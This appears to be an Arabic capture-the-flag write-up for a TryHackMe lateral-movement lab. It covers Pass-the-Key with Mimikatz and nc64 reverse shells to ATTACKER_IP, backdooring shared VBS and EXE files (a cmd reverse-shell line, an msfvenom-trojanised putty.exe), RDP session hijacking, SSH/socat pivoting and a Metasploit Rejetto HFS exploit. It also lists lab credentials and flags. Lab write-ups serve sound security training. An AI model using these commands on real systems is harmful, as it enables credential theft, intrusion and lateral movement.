2. عملية Overpass-the-Hash (OPtH) أو الـ Pass-the-Key (PtK)هي نوع من الهجمات المشابهة لهجوم الـ Pass-the-Hash ولكنها مخصصة لشبكات الـ Kerberos وراح نوضح الفكره والخطوات بالتفصيل
الفكرة الأساسية :
بالـ Kerberos لما يطلب المستخدم تذكرة TGT من الـ KDC بقوم بتشفير timestamp باستخدام مفتاح مشتق من كلمة مرورههاد المفتاح ممكن يكون واحد من الخوارزميات التالية :
DES (معطّل افتراضيًا في إصدارات ويندوز الحديثة)
أو RC4
أو AES128
أو AES256
إذا عندك وحدة من هذول المفاتيح الـ RC4 أو AES بتقدر تطلب TGT من الـ KDC بدون ما تحتاج كلمة المرور الحقيقية عشان هيك بنسمي الهجوم بـ Pass-the-Key لأنه بعتمد على المفاتيح بدل كلمات المرور
عشان نستخرج مفاتيح التشفير باستخدام Mimikatz :
أول خطوة لازم نعملها هي نستخرج الـ Kerberos encryption keys من ذاكرة جهاز الضحية باستخدام Mimikatzلازم يكون عننا صلاحيات SYSTEM عشان نقدر نسحب المفاتيح من ذاكرة الـ LSASS
الأوامر :
أولًا بنفعل صلاحيات الـ debug :
كود:
mimikatz # privilege::debug
: بعدين بنستخرج المفاتيح
كود:
mimikatz # sekurlsa::ekeys
بنستخدم المفاتيح عشان نحصل على Revers Shell باستخدام Pass-the-Key
بناءً على نوع المفتاح اللي بنستخرجه RC4 أو AES ممكن نستخدم أوامر مختلفة ( على جهاز الضحيه بدون كلمه السر ) بالـ Mimikatz عشان نوخذ reverse shell على جهاز الضحية1. إذا حصلنا على RC4key الأمر بكون بالشكل التالي :
كود:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
2. اذا حصلنا على AES128key الأمر بكون بالشكل التالي :
كود:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
3. إذا حصلت على AES256key الأمر بكون بالشكل التالي :
كود:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
ملاحظات مهمة:
بحالة الـ RC4 المفتاح رح يكون نفسه الـ NTLM hash للمستخدم وهاد معناه إنه إذا حصلنا على الـ NTLM hash بنقدر نستخدمه مباشرةً عشان نطلب تذكره TGT طالما إن بروتوكول الـ RC4 مفعّل على الشبكة هاد النوع من الهجمات اسمه Overpass-the-Hash (OPtH)
وبنستقبل الـ Shell على جهازنا المهاجم :
لازم نشغّل الـ listener باستخدام netcat عشان نستقبل الاتصال من جهاز الضحية والامر بكون كالتالي :
كود:
nc -lvp 5556
كود:
nc -lvp 5556
الخطوات بشكل واضح وبسيط
بنستخرج مفاتيح التشفير (RC4 أو AES) من ذاكرة جهاز الضحية باستخدام Mimikatzبنستخدم المفتاح عشان نطلب TGT بدون ما نحتاج كلمة المرور الفعلية
بننفذ أوامر على جهاز الضحية عن طريق حقن المفتاح واستخدام reverse shell
بنستقبل الاتصال على جهازنا المهاجم باستخدام الـ netcat
هاي الطريقة بتتيحلنا نتنقل عبر الشبكة باستخدام التذاكر أو المفاتيح بدل كلمات المرور وبتساعدنا نحصل على الصلاحيات اللازمة بدون ما نعرف كلمات المرور
نبدا نحل التحدي اللي عنا
اول اشي بنسجل دخول حسب المعلومات اللي معطينا اياها
كود:
ssh za\\[email protected]
iLov3THM!
بنفوت على مجلد الـ tools داخل الـ C
وبنشغل الاداه
كود:
privilege::debug
بعدها بنستخدم لاامر عشان نستخرج المفاتيح وبندور على اسم المستخدم اللي طالبه مننا التحدي t1_toby.beck
كود:
sekurlsa::ekeys
بعدها بنستخدم الأمر هاد عشان نتصل بـ THMIIS :
Bash:
winrs.exe -r:THMIIS.za.tryhackme.com cmd
بعدها بنلاقي الفلاق زي ما حكالنا انه على سطح المكتب لهاد المستخدم
ما هو الفلاق
THM{NO_PASSWORD_NEEDED}
استغلال تصرفات المستخدمين بالشبكات
أحيانًا ببيئات الشركات بنلاقي مشاركات ملفات مشتركة Shares بستخدمها المستخدمين عشان يعملو مهامهم اليومية لكن إذا كانت هاي المشاركات قابلة للكتابة ممكن نزرع ملفات معينة تجبر المستخدمين يشغلو أكواد ضارة ونقدر نوصل لأجهزتهممثال بسيط هو إنك تلاقي اختصار shortcut لملف سكربت أو برنامج موجود على شبكة المشاركة
1. طريقة استغلال ملفات الـ lnk.
ببساطة المسؤول عن الشبكة ممكن يحط ملف تنفيذي Executable على الشبكة والمستخدمين يشغلوه بدون ما يحتاجوا يثبتوا البرنامج على أجهزتهمإذا المهاجم عنده صلاحيات كتابة على هاي الملفات بقدر يزرع فيها أكواد ضارة...
مع إنه الملف التنفيذي موجود على السيرفر بمجرد ما المستخدم يفتح الاختصار من جهازه الملف بنسخ لمجلد %temp% على جهاز المستخدم وبتشتغل من هناك فالأكواد الضارة بتشتغل من جهاز المستخدم
2. طريقة استغلال ملفات الـ vbs.
مثال لو الملف المشترك كان سكربت VBS بنقدر ننسخ برنامج nc64.exe ونحطه بنفس المكان المشترك وبعدين بنضيف الكود التالي للسكربت :
Bash:
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
3. طريقة استغلال ملفات الـ exe.
لو كان الملف المشترك ملف تنفيذي (مثل putty.exe) المهاجم بقدر يستخدم أداة msfvenom عشان يزرع بالملف التنفيذي أكواد ضارة , الملف بشتغل زي ما هو طبيعي بس بنفس الوقت بشغل الأكواد الضارة بصمت
مثال للأمر اللي بعمل زرع للاكواد الضارة بـ putty.exe :
Bash:
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
الملف الناتج puttyX.exe بشغل الأكواد الضارة بدون ما يحس المستخدم
4. طريقة استغلال جلسات الـ RDP المفتوحة
إذا المسؤول استخدم الـ Remote Desktop واتصل بجهاز وترك الجلسة مفتوحة بدون ما يسجل خروج الجلسة بتضل مفتوحة على السيرفر , لو عننا صلاحيات SYSTEM على Windows Server 2016 وأقل بنقدر نسيطر على أي جلسة RDP مفتوحة بدون ما نحتاج باسوورد
عشان نحصل على صلاحيات SYSTEM بنقدر نستخدم أدوات مثل psexec أول خطوة هي إننا نشغل الـ cmd.exe كمسؤول
بعدها بنشغل الـ PsExec64.exe بالأمر التالي :
Bash:
PsExec64.exe -s cmd.exe
وعشان نعرض الجلسات المفتوحة على السيرفر بنستخدم الأمر التالي :
كود:
C:\> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator rdp-tcp#6 2 Active . 4/1/2022 4:09 AM
luke 3 Disc . 4/6/2022 6:51 AM
النتيجة بتعرض كل الجلسات المفتوحة على السيرفر , إذا لقينا جلسة مكتوب جنبها Disc يعني الجلسة مفتوحة بس ما حد بستخدمها بنقدر نتصل بهاي الجلسة ونسيطر عليها
عشان ننفذ عملية اختطاف الجلسة
بنستخدم أمر tscon.exe مع تحديد رقم الجلسة
كود:
tscon 3 /dest:rdp-tcp#6
الامر بحكي إنه الجلسة رقم 3 اللي بملكها المستخدم luke راح تتصل بجلسة الـ RDP رقم rdp-tcp#6 اللي بملكها المسؤول ( بالكود تاعهم بالمثال مش بحل التحدي )
نبدا نحل التحدي
لازم نتصل بجهاز THMJMP2 باستخدام بيانات تسجيل الدخول اللي بنلاقيها على الرابط : http://distributor.za.tryhackme.com/creds_t2بعد ما نحصل على البيانات بنتصل بجهاز THMJMP2 عن طريق RDP :
Bash:
xfreerdp /v:thmjmp2.za.tryhackme.com /u:YOUR_USER /p:YOUR_PASSWORD
هاي البيانات بتمنحنا صلاحيات إدارية على THMJMP2
الخطوات
اول اشي بنشغل الـ Cmd كـ مسؤول بعدها بنشغل PsExec64 الـ عن طريق الامر
Bash:
PsExec64.exe -s cmd.exe
بعدها بنستخدم الامر عشان يعرضلنا الجلسات المتاحه
Bash:
query user
Bash:
query user
بعد ما نشغل الامر التالي
Bash:
tscon 4 /dest:rdp-tcp#65
اختطف جلسة RDP للمستخدم t1_toby.beck واحصل على العلم (flag)
THM{NICE_WALLPAPER}
الـ Port Forwarding
الـ Port Forwarding
بتعني تحويل المنافذ وهي طريقة بنستخدمها عشان نتجاوز قيود على الشبكة بتمنعنا نوصل لبعض الخدمات مثل SMB او RDP او WinRM او RPC
أحيانا بالشبكات الحقيقية المسؤولين ممكن يغلقو منافذ عشان يرفعو الامان أو بعملو تقسيمات بالشبكة بتمنع الوصول لخدمات محدده , عشان نتجاوز هاي القيود بنستخدم تقنيات تحويل المنافذ يعني نستخدم أي جهاز اختراقناه كجهاز وسيط عشان ننتقل منه للأجهزة الثانية يعني كل جهاز ممكن يكون عنده صلاحيات عالشبكة مختلفة عن غيره حسب حاجته بالعملتوجيه المنافذ باستخدام الـ SSH
قبل كانت الـ SSH مرتبطة بنظام Linux لكن حالياً أغلب أجهزة الـ Windows فيها عميل OpenSSH يعني بتلاقيه بكثير من الأنظمة
الـ SSH Tunnelling هي وسيلة بنستخدمها عشان نعمل Port Forwarding عن طريق اتصال SSH وهي طريقة آمنة لنقل البيانات عبر الإنترنت باستخدام بروتوكول SSH
الهدف من هاي الطريقة هو إنشاء قناة مشفرة بين جهازين ( بنسميه نفق ) لتمرير البيانات بأمان
انواع الانفاق بالـ SSH
انشاء مستخدم جديد
الهدف من هاي الخطوة هو اننا ننشئ مستخدم جديد على جهازنا ( المهاجم ) بدون ما نسمحله يوصل لواجهة الأوامر
هاد المستخدم بكون مسؤول عن إدارة قنوات الاتصال اللي راح نستخدمها بعملية الـ Forwarding
الأوامر:
بننشئ مستخدم :
Bash:
useradd tunneluser -m -d /home/tunneluser -s /bin/true
Bash:
passwd tunneluser
الـ useradd : الأمر عشان ننشئ مستخدم جديد
الـ tunneluser : اسم المستخدم اللي بدنا ننشئه
الـ m- : انشاء الدليل الخاص بالمستخدم اذا ما كان موجود
الـ d /home/tunneluser- : بنحدد مسار الدليل للمستخدم
الـ s /bin/true- : بنعين واجهة الأوامر للمستخدم بنخليها bin/true/ يعني هاد المستخدم ما عنده صلاحيه يسجل دخول لواجهة الأوامر
عشان نعيين كلمة مرور للمستخدم :
الـ passwd : الأمر المستخدم لتعيين أو تغيير كلمة مرور المستخدم
بعد ما ننفذ الامر بطلب مننا النظام ندخل كلمة مرور جديدة للمستخدم tunneluser
1. SSH Remote Port Forwarding
نفترض إننا اخترقنا جهاز PC-1 وبنحاول نوصل لمنفذ 3389 على سيرفر معين , لكن السيرفر محمي ضد الوصول المباشر من جهازنا الاصليبنقدر نستخدم الجهاز اللي اخترقناه اللي هو PC-1 عشان نوجه الاتصال عبر المنفذ 3389 على السيرفر من خلال الـ SSH
زي عمليه نفتح نفق SSH من PC-1 لجهازنا ( المهاجم)
هيك جهازنا ( المهاجم ) بقدر يوصل لمنفذ 3389 على السيرفر عن طريق هاد النفق اللي عملناه

عشان نوضح العمليه نعطي سيناريو
احنا المهاجمين جهازنا ( اللي هو السيرفر ) موجود على النت وعننا الـ IP الخاص بجهازنا خلينا نفترض إن الـ IP لجهازنا ( المهاجم ) هو 10.0.0.1
عنا الـ PC-1 (الضحية) هاد هو الجهاز اللي سيطرنا عليه (مثلاً عن طريق استغلال ثغرة أو بطرق أخرى) وخلينا نفترض إن الـ IP للجهاز هو 192.168.1.10
عننا جهاز الهدف (3.3.3.3) هاد الجهاز موجود على الشبكة الداخلية عند الضحية (PC-1) وعنوان IP الخاص فيه هو 3.3.3.3 ما بنقدر نتصل فيه مباشرة لأننا مش على نفس الشبكة
علما ان الجهاز اللي اخترقناه PC-1 وجهاز الهدف على نفس الشبكه
ما بنقدر نتصل من جهازنا المهاجم بالهدف عطول ف بنستخدم الجهاز اللي اخترقناه PC-1

الأمر على PC-1 :
Bash:
ssh [B][SIZE=5][email protected] [/SIZE][/B]-R 3389:3.3.3.3:3389[/SIZE][/B][SIZE=5][B] -N
تفاصيل الامر :
الـ ssh -R :هاد بعني إننا بدنا نعمل Remote Port Forwarding
يعني أي اتصال على منفذ بجهازنا ( المهاجم ) راح يتم توجيهه لجهاز موجود على شبكة الضحية
الـ 3389:3.3.3.3:3389 :
الـ 3389 الأول : هاد بعني إننا راح نفتح منفذ 3389 على جهازنا ( المهاجم ) اللي هو 10.0.0.1
الـ 3.3.3.3 : هاد هو الـ IP لجهاز الهدف الموجود على شبكة الضحية PC-1
الـ 3389 الثاني : هو المنفذ اللي على جهاز الهدف 3.3.3.3 اللي بدنا نوصله (على الأغلب RDP - Remote Desktop Protocol)
الـ [email protected] :
الـ tunneluser : هو اسم المستخدم اللي أنشأناه على جهازنا ( المهاجم )
الـ 10.0.0.1 : هو عنوان الـ IP الخاص بجهازنا ( المهاجم ) اللي راح نستقبل عليه الاتصال
الـ N- بتعني إننا بنطلب من الـ SSH إنه ما ينفذ أي أوامر بعد الاتصال ( ما بنحتاج نفتح الـ CMD بجهازنا ( المهاجم ) )
2. SSH Local Port Forwarding
هاي التقنية بنستخدمها عشان نحول أي منفذ على جهازنا ( المهاجم ) لجهاز PC-1مثلاً لو بدنا نفتح منفذ 80 على جهازنا ( المهاجم ) عشان نخلي الموقع على هاد المنفذ متاح لجهاز PC-1 بنستخدم هاد الأمر
يعني إذا في خدمة معينة شغالة على جهازنا المهاجم بنقدر نخلي هاي الخدمة متاحة عبر منفذ على جهاز ثاني (مثلاً PC-1)
هيك أي جهاز ما بنقدر نتصل مباشرة من جهازنا المهاجم بس بإمكانه يتصل بـ PC-1 رح يقدر يوصل لخدمات جهازنا المهاجم عن طريق الـ pivot host
الأمر على PC-1 :
Bash:
ssh [email protected] -L *:80:127.0.0.1:80 -N
الـ L- بتعني إنه بنعمل local port forwarding
الجزء *:80 هو المنفذ اللي رح يستخدمه PC-1 عشان يستقبل الاتصالات
الجزء 127.0.0.1:80 هو المكان اللي بنوجهله الاتصالات جهازنا ( المهاجم ) (يعني المنفذ 80 على جهازنا ( المهاجم ) نفسه) يعني إنه الاتصالات اللي بتوصل لجهاز PC-1 على المنفذ 80 راح يتم توجيهها لمنفذ 80 على جهازنا ( المهاجم )
توضيح اكثر :
بنستخدم 127.0.0.1 كعنوان IP لأنه بمثل الـ localhost على جهازنا ( المهاجم ) يعني المنفذ 80 موجود فعليًا على نفس الجهاز اللي بنعمل منه الاتصال
هاد هو المنفذ 80 على جهازنا ( المهاجم ) 1.1.1.1
الـ 1.1.1.1 : الـ IP لـ جهازنا ( المهاجم ) اللي بنعمل عليه الاتصال

إعدادات الـ Firewall :
لأنه بنفتح منفذ جديد على جهاز PC-1 ممكن نحتاج نضيف Rule بالـ firewall عشان نسمح بالاتصالات اللي داخلة للمنفذ 80
بنحتاج صلاحيات إدارية admin privileges عشان نضيف الـ Rule :
Bash:
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80
شرح الامر
الـ netsh advfirewall firewall add rule : هاد الجزء بخبر نظام Windows إنه بنضيف Rule جديدة للـ firewall
الـ "name="Open Port 80 : اسم القاعدة اللي بنضيفها هون سميناها Open Port 80 عشان نوضح إنها بتسمح بفتح المنفذ 80
الـ dir=in : الامر هاد بحدد إنه هاي الـ Rule مخصصة للاتصالات الواردة incoming
الـ action=allow : الامر هاد بخلي الـ Rule تسمح بالاتصالات (بدلاً من منعها)
الـ protocol=TCP : الامر هاد بخلي الـ Rule مخصصة للبروتوكول TCP
الـ localport=80 : الامر هاد بخلي الـ Rule مخصصة للاتصالات اللي بتستهدف المنفذ 80 على الجهاز
بعد ما يتم إعداد النفق tunnel بنجاح أي شخص بوجه متصفحه لجهاز PC-1 على الرابط http://2.2.2.2:80 رح يشوف الموقع اللي بنعرضه بـ جهازنا ( المهاجم ) على المنفذ 80 هيك بكون الجهاز الثاني متصل بخدمات جهازنا المهاجم وكأنها على الشبكة نفسها والاتصالات اللي بتوصل على PC-1 (الجهاز الضحية) على المنفذ 80 راح يتم توجيهها لجهازنا المهاجم على المنفذ 80 وهيك بنقدر نظهر أي خدمة على جهازنا المهاجم وكأنها متاحة من خلال PC-1
3. Port Forwarding With socat
الـ socat هي أداة بديلة لـ SSH لتوجيه المنافذ لكن بشكل أبسط
بس لازم نعرف إنه socat مش بمرونة الـ SSH وراح نحتاج ننقلها لجهاز الـ pivot (زي PC-1 بمثالنا) وهاد ممكن يخليها مكشوفة أكثر
الصيغة الأساسية لـ socat بتكون زي هيك ( الأمر على PC-1 عشان نفتح منفذ 3389 ونوجهه لجهازنا المهاجم ) :
Bash:
socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321
هاد الأمر ببساطة بفتح منفذ 1234 على الـ PC-1 وبسمح بتلقي أي اتصالات على هاد المنفذ بعدين بوجه الاتصالات للـ IP هاد اللي هو جهازنا المهاجم 1.1.1.1 على المنفذ 4321
خيار الـ fork بخلي الـ socat تنشئ عملية جديدة لكل اتصال عشان تقدر تتعامل مع أكتر من اتصال بدون ما تغلق الاتصال الأول
مثلاً لو كننا بدنا نوصل للمنفذ 3389 على السيرفر باستخدام PC-1 كـ pivot ( وسيط )
بنستخدم الأمر :
Bash:
socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389
هون الـ PC-1 راح يستمع على المنفذ 3389 ويوجه الاتصالات اللي بتيجي عليه للمنفذ 3389 على السيرفر اللي عنوانه 3.3.3.3
توضيح للصوره
الـ ip للـ Attacker هو 1.1.1.1
الـ ip للـ PC-1 هو 2.2.2.2
الـ ip للـ server هو 3.3.3.3

لكن لازم ننتبه إن الـ socat مش زي الـ SSH لأنه ما بوصل الاتصال مباشرة لجهازنا ( المهاجم )
اللي بعملو انو بفتح منفذ على PC-1 و جهازنا ( المهاجم ) بنتصل فيه
عشان نسمح بالاتصالات اللي بتيجي على المنفذ اللي فتحناه على PC-1
بنحتاج نضيف Rule للـ باستخدام الأمر : شرحنا الامر فوق
Bash:
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389
مثال ثاني
إذا بدنا نخلي منفذ 80 على جهازنا ( المهاجم ) يكون قابل للوصول من السيرفر بنعدل الأمر شوي
بنفتح موجه الأوامر على PC-1 وبننفذ هاد الأمر :
Bash:
socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80

يعني هيك كل اتصال جاي لمنفذ 80 على PC-1 راح يتم توجيهه تلقائيًا لمنفذ 80 على جهازنا ( المهاجم )
4. Dynamic Port Forwarding and SOCKS
ببعض الأحيان لما نحتاج نوصل لأماكن معينة بالشبكة زي نفحص منافذ متعددة على جهاز واحد أو حتى على أجهزة مختلفة ممكن نحتاج نستخدم التوجيه الديناميكي للمنافذ
يعني إننا ممكن نمر عن طريق جهاز واحد ( اللي بنسميه جهاز التوجيه أو الـ Pivot Host ) ونوصل لأماكن مختلفة عن طريق استخدام Socks proxy
كيف بشتغل التوجيه الديناميكي للمنافذ ؟
لو فرضنا عننا جهاز مستهدف موجود بالشبكة المستهدفة ومافي عليه SSH ما بنقدر ننفذ عمليه التوجيه مباشره ف بإمكاننا نستخدم جهاز موجود بالشبكة و جهازنا وبنفتح نفق من جهازنا وبنوجه الطلبات عن طريقهجهاز مستهدف هو الجهاز اللي بدنا نوصله لكن ما بحتوي على خادم SSH
جهاز موجود على الشبكة هو جهاز ثاني بحتوي على خادم SSH وبمثل نقطة تحويل ( Pivot Host ) للوصول للجهاز المستهدف
جهازنا هو اللي بنستخدمه عشان نفتح نفق ونوصل للشبكة المستهدفة
Bash:
ssh [email protected] -R 9050 -N
شرح الأمر :
الـ SSH : هو الأمر عشان نبدأ الاتصال عبر الـ SSH
الـ [email protected] : هو المستخدم وعنوان الخادم اللي بنوصله
الـ R 9050- : هاد يعني إننا بنفتح منفذ 9050 على الخادم اللي بنوصله ( اللي هو 1.1.1.1 ) وبنعيد توجيه أي طلبات اتصال بتوصل لهاد المنفذ من خلال نفق الـ SSH
الـ N- بتعني إننا بنطلب من الـ SSH إنه ما ينفذ أي أوامر بعد الاتصال ( ما بنحتاج نفتح الـ CMD بجهازنا ( المهاجم ) )
تشغيل Socks proxy على السيرفر 1.1.1.1 :
السيرفر 1.1.1.1 بفتح منفذ 9050 وبشغل Socks proxy عليهالبروكسي هو زي بوابة أو نقطة عبور للطلبات اللي بدنا نوجهها أي طلب اتصال بوصل لهاد المنفذ 9050 على السيرفر وبعدها بتم توجيهه عن طريق نفق الـ SSH
كيف بتتم العملية :
النفق عبارة عن اتصال مشفّر بين جهازنا المحلي والسيرفر 1.1.1.1 عن طريق بروتوكول الـ SSHلما نرسل أي طلب من جهازنا المحلي (مثل طلب فتح صفحة ويب أو فحص أجهزة) الطلب بروح أول إشي عن طريق نفق الـ SSH للسيرفر 1.1.1.1
بعد ما يوصل الطلب للسيرفر بتم توجيهه عن طريق Socks proxy اللي شغال على المنفذ 9050
النتيجة :
أي طلبات اتصال بنرسلها من جهازنا المحلي راح تمرق من النفق للسيرفر 1.1.1.1 ومن هناك بتم تمريرها من خلال الـ Socks proxyبالتالي كأننا بنستخدم السيرفر 1.1.1.1 كـ وسيط ( Pivot ) عشان نوجه الاتصالات لكننا بننفذ الأوامر من جهازنا و السيرفر هو اللي بمررها من خلال النفق
هاي الطريقة بتخلينا كأننا بنتحكم بالوصول للهدف عن طريق السيرفر الوسيط 1.1.1.1 بدون ما يكون عننا اتصال مباشر مع الهدف
الجزء المهم اننا بنقدر نستخدم الأدوات اللي بدنا اياها مثل curl او nmap وغيرها عبر البروكسي Socks proxy بكل سهولة باستخدام أداة اسمها Proxychainsالـ Proxychains بتعمل زي جسر بين أدواتنا وجهازنا والبروكسي اللي احنا مشغلينه اللي هو Socks proxy
فـ بدل ما الأداة ترسل الطلب مباشرة من جهازنا بتمرّ عن طريق Proxychains أول اشي والـ Proxychains بوجه الطلب من خلال Socks proxy
عشان Proxychains تشتغل صح مع الـ Socks proxy اللي أنشأناه عبر الـ SSH لازم نتأكد إنه إعدادات الـ Proxychains بتشير لنفس المنفذ اللي بنستخدمه للبروكسيالمنفذ عادة بكون 9050 لكن ممكن يكون أي منفذ طالما هو نفس اللي حددناه لما أنشأنا النفق عبر الـ SSH
ملف إعدادات الـ Proxychains موجود بالمسار etc/proxychains.conf/ بنفتحه بأي محرر نصوص وبنزل لآخر الملف بنلاقي سطر بحدد المنفذ المستخدم لـ Socks proxy :
كود:
[ProxyList]
socks4 127.0.0.1 9050
الـ socks4 هو نوع البروكسي بروتوكول SOCKS4
الـ 127.0.0.1 هو عنوان الـ localhost (يعني جهازنا)
الـ 9050 هو المنفذ اللي بشتغل عليه البروكسي
إذا كننا مشغلين البروكسي على منفذ ثاني غير 9050 لازم نعدل الرقم عشان يطابق المنفذ اللي استخدمناه , بعد ما نتأكد من إنه الـ Proxychains مضبوط بشكل صحيح صار بإمكاننا ننفذ أي أوامر وأدوات من خلال البروكسي باستخدام Proxychains
مثال :
Bash:
proxychains curl http://pxeboot.za.tryhackme.com
نبدأ نحل التحدي
اول اشي بنسجل دخول بالمعلومات اللي معطينا اياها
عننا الشبكه هاي
احنا الان بجهاز على الشبكة grace.brooks وعننا حساب ثاني على الشبكة بدنا نوصله اسمه t1_thomas.moore ما بنقدر نوصله مباشره
وبدنا نوصل للجهاز t1_thomas.moore ونتصل عليه بالـ RDP لكن المشكلة إنه البورت الخاص بالـ RDP هو 3389 وهو مغلق ما بنقدر من جهازنا نتصل عليه
فـ الحل نستخدم أداة socat اللي موجودة على THMJMP2 اللي احنا فيه عشان نعمل توجيه للبورت يعني نخلي الـ RDP يشتغل على بورت ثاني متاح
فـ بما أن بورت الـ RDP الافتراضي 3389 موجود عليه خدمة فـ بنحتاج نستخدم بورت مختلف زي 13389
كود:
socat TCP4-LISTEN:13389,fork TCP4:THMIIS.za.tryhackme.com:3389
الـ TCP4-LISTEN:13389 : بفتح listener على بورت 13389 على الجهاز THMJMP2 اللي معنا اسم المستخدم وكلمه السر الخاصه فيه
الـ fork : بتخلي الـ socat يفتح اتصال جديد لكل طلب مهم عشان ما يتوقف
الـ za.tryhackme.com:3389 : بحوّل الطلبات اللي جاية على بورت 13389 لبورت 3389 على الهدف ( THMIIS )
البورت 3389 مش متاح مباشر فأحنا بنحول الاتصال من THMJMP2 لجهازنا
ملخص الامر
احنا عن طريق الامر اللي فوق خلينا هاد الجهاز ك وسيط يستمع ويتلقى اي اتصال بيجيه على بورت 13389 و يحول الطلبات اللي جايه لجهاز الهدف ( THMIIS ) على بورت 3389
بعد ما اعددنا الـ socat على THMJMP2 بامكاننا نتصل بالجهاز عن طريق THMJMP2 باستخدام الـ RDP
كود:
xfreerdp /v:THMJMP2.za.tryhackme.com:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020
ما هو العلم الذي تم الحصول عليه من تنفيذ "flag.exe" على سطح مكتب t1_thomas.moore على THMIIS؟
THM{SIGHT_BEYOND_SIGHT}
نعيد السناريو مع اشي جديد
فيه سيرفر اسمه THMDC وهاد السيرفر بشغل نسخة من نظام Rejetto HFS اللي فيها ثغرة
المشكلة إنه فيه firewall بمنعنا اننا نوصل للبورت اللي فيه الثغرة مباشرة إلا عن طريق سيرفر ثاني اسمه THMJMP2
بالإضافة لهيك THMDC ما بسمح إنه يطلع منه اتصالات خارج الشبكة الداخلية تبعته يعني ما بنقدر نستقبل عليه reverse shell مباشرة على جهازنا ( المهاجم )
الهدف :
بدنا نستخدم الثغرة الموجودة بالـ Rejetto HFS عشان نخترق السيرفر THMDC بس عشان ننجح لازم نحل مشكلة إنه السيرفر ما بسمح بالاتصال مباشرالحل بكون عن طريق توجيه المنافذ الـ port forwarding
كيف بصير الـ exploit :
1. أول شيء جهازنا ( المهاجم ) بتصل بالبورت اللي فيه الثغرة على سيرفر الضحية THMDC اللي بنسميه RPORT هاد الاتصال بطلب من السيرفر إنه يعمل اتصال ثاني
2. سيرفر الضحية برد علينا إنه بحاول يتصل بجهازنا مرة ثانية لكن على بورت مختلف بنسميه SRVPORT وهو اللي لازم نشغل عليه Web Server , هاد بنشغله على جهازنا عشان نرسل الـ payload
3. فـ سيرفر الضحية لما يتصل بجهازنا على الـ SRVPORT جهازنا برسلله الـ payload بنصمم هاد البايلود إنه يعمل reverse shell هيك بنفتح اتصال من سيرفر الضحية لجهازنا ( المهاجم ) مرة ثانية لكن هاي المرة على بورت ثاني اسمه LPORT اللي هو البورت اللي بستقبل الـ shell على جهازنا , لما يصير الاتصال العكسي بصير عننا صلاحيات الوصول لجهاز الضحية

- اتصال أول عشان نستغل الثغرة عن طريق البورت RPORT
- اتصال ثاني عشان نرسل الـ payload عن طريق البورت SRVPORT
- اتصال عكسي reverse shell عشان ناخذ صلاحيات على جهاز الضحية عن طريق البورت LPORT

التحدي :
لأنه السيرفر ما بسمح بفتح اتصال خارجي مباشر بنحتاج نستخدم port forwarding من جهازنا ( المهاجم ) للسيرفر THMJMP2 وبعدها نستخدمه عشان نوصل لـ THMDCالحل باستخدام الـ SSH :
بنحتاج نفتح ثلاث توجيهات للبورتات عشان نقدر نحاكي كل الاتصالات اللي بدنا نعملها الفكرة إنه نوجه كل شيء من خلال السيرفر THMJMP2الخطوات :
1. سيرفر الـ Rejetto HFS بشتغل على بورت 80 على THMDC اللي سميناه فوق RPORTبنحتاج نوجه هاد البورت لجهازنا عن طريق THMJMP2 باستخدام الـ Remote Port Forwarding لأنه بورت 80 عننا مشغول رح نستخدم بورت ثاني مثلاً 8888
2. بالنسبة لـ SRVPORT و LPORT بنختار بورتات عشوائية (مثلاً 6666 و 7878 ) بس بنتأكد إنهم مش مشغولين
بنستخدم الـ Local Port Forwarding عشان نوجه الاتصالات من جهازنا لجهاز THMJMP2 وهيك بنربط كل الاتصالات المطلوبة
الأمر الكامل اللي بنستخدمه على THMJMP2 :
Bash:
ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N
تهيئة Metasploit للـ exploit :
الـ use rejetto_hfs_exec عشان نستغل الثغرة الموجودة بالسيرفر Rejetto HFSالـ set payload windows/shell_reverse_tcp بنحدد الـ payload اللي بنستخدمه , بعمل reverse shell من جهاز الضحية لجهازنا باستخدام بروتوكول TCP
الـ set lhost thmjmp2.za.tryhackme.com بنحدد عنوان الجهاز THMJMP2 اللي بدنا الضحية يتصل عليه لما يتم استغلال الثغرة
الـ set ReverseListenerBindAddress 127.0.0.1 بنحدد إنو الاستماع للاتصال العكسي بكون على الـ localhost جهازنا ( المهاجم )
الـ set lport 7878 بنحدد البورت اللي بدنا نستقبل عليه الـ reverse shell من جهاز الضحية
الـ set srvhost 127.0.0.1 بنحدد عنوان الـ localhost عشان السيرفر الويب اللي بستضيف الـ payload
الـ set srvport 6666 بنحدد البورت اللي بدنا نشغل عليه سيرفر الويب اللي برسل الـ payload لجهاز الضحية
الـ set rport 8888 بنحدد البورت اللي فيه الثغرة على السيرفر الضحية وهون حددنا بورت 8888 لأنه حولناه من البورت 80 اللي بشغل سيرفر Rejetto HFS
الـ exploit عشان نشغل الـ exploit
الـ set rhosts 127.0.0.1 بنحدد عنوان السيرفر اللي بنهاجمه
لما نستخدم الأمر set rhosts 127.0.0.1 إحنا بنحدد عنوان السيرفر اللي بدنا نهاجمه
بالحالة العادية بكون الـ IP للسيرفر
